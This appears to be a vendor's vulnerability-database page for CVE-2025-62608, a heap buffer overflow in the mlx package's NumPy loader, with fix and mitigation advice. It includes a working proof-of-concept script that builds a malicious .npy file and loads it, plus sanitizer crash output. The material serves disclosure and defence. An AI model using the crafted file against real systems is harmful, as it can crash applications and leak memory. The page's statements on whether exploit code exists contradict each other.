How severe is CVE-2025-62608?

No CVSS score has been assigned to CVE-2025-62608 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2025-62608?

CVE-2025-62608 affects the following packages: mlx (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2025-62608?

Update mlx to 0.29.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-62608 is resolved across your whole dependency graph.

How do I detect CVE-2025-62608 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mlx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2025-62608 if there is no patch (or I can't update yet)?

Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

How does O3 Security protect against CVE-2025-62608?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-62608 can be triaged on real exposure rather than presence alone.

Is CVE-2025-62608 actively exploited in the wild?

No public exploit code has been indexed for CVE-2025-62608 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2025-62608?

CVE-2025-62608 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 42th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2025-62608?

CVE-2025-62608 is classified as CWE-122 (CWE-122). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2025-62608 published, and has it been updated?

CVE-2025-62608 was published on November 21, 2025 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

CVE-2025-62608 — mlx

Fix: ml-explore/mlx#1

CVE-2025-62608 is a CWE-122 vulnerability in mlx. A fix is available for mlx — see the affected versions and patch details below.

MLX has heap-buffer-overflow in load()

Also known asGHSA-w6vg-jg77-2qg6PYSEC-2025-138

Published

Nov 21, 2025

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-62608.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐍mlx

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment:

OS: Ubuntu 20.04.6 LTS
Compiler: Clang 19.1.7

Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.

Location: mlx/io/load.cpp:268,276

Bug #1 (line 268):

std::string header(&buffer[0]);  // stops at first null byte

Bug #2 (line 276):

bool col_contiguous = header[34] == 'T';  // No bounds check

Possible Fix

// Line 268
std::string header(&buffer[0], header_len);

// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");

PoC

pip install mlx

# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
    f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer Output (with instrumented build):

=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
    #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
    #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)

0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
    #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
    #1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
    #2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
    #3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
    #4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
    #5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
    #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
  0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
  0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
  0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3179==ABORTING

Impact

Attack vector: Malicious .npy file (model weights, datasets, checkpoints)
Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
Result: Application crash + potential 13-byte heap leak

Credits:

Markiyan Melnyk (ARIMLABS)
Mykyta Mudryi (ARIMLABS)
Markiyan Chaklosh (ARIMLABS)

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`mlx`	all versions	0.29.4`pip install --upgrade 'mlx==0.29.4'`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mlx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mlx to 0.29.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-62608 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-62608 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-62608. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Workaround published by Red Hat

Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.

Source: Red Hat security advisory for CVE-2025-62608 (CC BY 4.0)

Frequently Asked Questions

## Summary Heap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7 ## Vulnerability The parser reads a 118-byte header from the file, but line 268 uses `std::string(&buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation. **Location**: `mlx/io/load.cpp:268

O3 Security · Impact-Aware SCA

Is CVE-2025-62608 in your dependencies?

O3 Security finds CVE-2025-62608 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works